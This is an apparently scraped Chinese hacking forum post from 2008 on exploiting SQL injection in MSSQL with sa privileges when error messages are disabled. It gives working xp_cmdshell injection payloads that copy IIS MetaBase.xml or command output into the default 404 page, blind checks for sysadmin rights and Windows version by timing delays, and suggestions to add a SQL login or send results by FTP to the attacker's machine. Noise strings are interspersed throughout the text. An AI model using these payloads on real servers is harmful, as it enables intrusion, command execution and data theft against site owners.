遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。) ~% E. X0 u- `6 L0 }
' c, ^" o9 H1 {
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
/ q* v! X$ u5 F
0 ?# n- i/ \" |. m' p+ j0 q 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
$ b7 Y: ^, T8 ]9 f
( ]) \+ u" X8 `5 O2 o5 i. m; W IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm7 K# _2 _0 C8 W% u% I" Z
9 O( v" v% [8 v W" I# t
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--$ @. \: V% B9 F3 c# h4 H
0 e- L4 Y0 X& m
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
^4 J. |2 w2 e1 ~& M
4 a% l+ ^/ g& V% S; Q1 t 执行命令得到回显! g Q) Z7 X, d' t8 r7 S
1 @6 g0 |+ @. Z0 N7 w 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
3 c0 u8 c( c9 |/ E3 r4 ^% B2 a1 Y# B N' k/ b
得到文件也shi相同,把文件copy到404b.htm就行了
4 s9 o7 G" \- I( n
% c8 B* M% D8 p1 N) c by 28ice, 2008/6/26
; D/ |2 {5 V1 ?2 Z! x f r& j& }' x3 L6 n& v, Z
摘自 28度的冰
6 _2 w3 n* Z% Z$ {7 X
; |, b8 ]% b# h2 N, | 盲注判断权限和操作系统版本! k+ A+ n' k$ G$ ]# q
% \8 p1 w Z0 h, R, w8 {5 h
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?. }. u3 B4 \" B3 @
( Q- u1 ?# c9 V6 W 最简单的,可能以用这样的方法:
( G u2 b+ P R
: S7 ]$ F4 ~: h2 ] 1=(select IS_SRVROLEMEMBER(’sysadmin’))% Q$ x* ~$ t( d% _8 j! k- x
4 K5 [9 k! ]9 g8 g# O0 r9 R3 } 当然,有些情况下,这个方法并不奏效。
0 s( y) E9 n7 B. f0 x- @2 W+ ]/ @$ c& ?. S
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
) S6 l3 H% ~& v5 E' M4 |8 [2 C1 u
' c5 j3 f3 V" u2 f+ _# q 有个3办法可能以解决这个问题
- ?" b1 I" g$ M' q9 s* [3 ?
6 Y9 G5 S( c0 q+ A6 u a.把执行结果写到404b.htm,具体请看我的上一篇文章
/ K$ t6 Q1 J/ j0 p
* k. @& ~) E. A9 g. w+ z4 P b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
2 A8 ]! k1 K$ R1 W' g) O t/ Q$ _" @* T5 ^1 C2 P
c.如果1433端口可能以连接,那干脆新建个sql登录
% v0 O+ B3 f' y& r% V& r
" i1 ^7 ?) M/ _6 Y7 D d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
& t6 u' t8 c) k' q, e1 h1 ^1 a
% ^; }/ A- G0 U0 C. B; g 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下6 l) j0 B) [: X5 `6 W
1 L9 s7 D! L6 G0 z7 M% \ D, B 很简单
; l% C Y$ x( p, @: l- f0 T: ~6 ~. b$ v4 J& T, s2 Y
执行systeminfo
V% o8 Z* |$ W J; d# U7 j, q4 w- Z9 i6 d; j+ Y! `1 a
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |